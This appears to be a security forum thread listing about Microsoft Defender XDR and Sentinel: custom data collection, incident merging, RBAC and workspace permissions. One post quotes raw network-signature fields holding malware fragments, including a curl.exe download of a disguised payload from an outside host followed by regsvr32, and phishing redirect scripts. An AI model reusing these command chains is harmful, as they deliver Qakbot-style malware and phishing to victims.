Have anyone test or implement Custom Data Collection from Defender XDR ?

I try to use this function, i create rule and attach Sentinel Workspace, but for Example the "DeviceCustomProcessEvents" Table remains empty.

But with comand "DeviceProcessEvents" there are events that match the rule that i create.

There is another person that have the same issues ?

Many thanks,

Regards,

Guido

NetworkSignatureInspected

MrD — Fri, 28 Nov 2025 10:22:04 GMT

Hi,

Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content.

I've read this article, so understand the basics of the function:

Enrich your advanced hunting experience using network layer signals from Zeek

I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices.

Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228:

${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&&regsvr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https://

Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced.

Any assistance with rationalising this would be great, thanks.

How to stop incidents merging under new incident (MultiStage) in defender.

smavrakis — Tue, 25 Nov 2025 14:17:12 GMT

Dear All

We are experiencing a challenge with the integration between Microsoft Sentinel and the Defender portal where multiple custom rule alerts and analytic rule incidents are being automatically merged into a single incident named "Multistage." This automatic incident merging affects the granularity and context of our investigations, especially for important custom use cases such as specific admin activities and differentiated analytic logic.

Key concerns include:

Custom rule alerts from Sentinel merging undesirably into a single "Multistage" incident in Defender, causing loss of incident-specific investigation value.
Analytic rules arising from different data sources and detection logic are merged, although they represent distinct security events needing separate attention.
Customers require and depend on distinct, non-merged incidents for custom use cases, and the current incident correlation and merging behavior undermines this requirement.

We understand that Defender’s incident correlation engine merges incidents based on overlapping entities, timelines, and behaviors but would like guidance or configuration best practices to disable or minimize this automatic merging behavior for our custom and analytic rule incidents. Our goal is to maintain independent incidents corresponding exactly to our custom alerts so that hunting, triage, and response workflows remain precise and actionable.

Any recommendations or advanced configuration options to achieve this separation would be greatly appreciated.

Thank you for your assistance.

Best regards

Security Admin role replacement with Defender XDR

Sharmila1 — Wed, 19 Nov 2025 12:28:51 GMT

We currently have the Security Administrator role assigned to multiple users in our organization. We are considering replacing it with custom RBAC roles in Microsoft Defender XDR as described in Custom roles for role-based access control - Microsoft Defender XDR | Microsoft Learn

Our goal is to provide these users full access to the Microsoft Defender security portal so they can respond to alerts and manage security operations. They do not require access to the Entra ID portal for tasks such as managing conditional access policies or authentication method policies.

Can we completely remove the Security Administrator role and rely solely on the custom RBAC role in Defender XDR to meet these requirements?

Custom data collection in MDE - what is default?

AndAufVCG — Wed, 19 Nov 2025 09:44:53 GMT

So you just announced the preview of "Custom data collection in Microsoft Defender for Endpoint (Preview)" which lets me ingest custom data to sentinel.

Is there also an overview of what is default and what I can add?

e.g. we want to examine repeating disconnects from AzureVPN clients
(yes, it's most likely just Microsoft's fault, as the app ratings show 'everyone' is having them)
How do I know which data I can add to DeviceCustomNetworkEvents which isnt already in DeviceNetworkEvents?

Permissions to see and manage sentinel workspace in Defender XDR

Abn_V — Thu, 13 Nov 2025 07:56:14 GMT

Hi Team,

One of my customers recently completed their Sentinel → Defender portal migration. Initially, I didn’t have access to view the Defender portal, but after the migration I was assigned the Security Operator role in Entra (via PIM), which now allows me to access the Defender portal.However, when I navigate to:
Defender portal → System → Settings → Microsoft Sentinel → Workspaces. I’m unable to view the available workspaces. The portal shows an insufficient permissions error, and I also cannot switch the primary/secondary workspace. Could you please advise on the exact permissions/roles required to: View the Sentinel workspace list in Defender, and Switch the primary workspace? Thanks in advance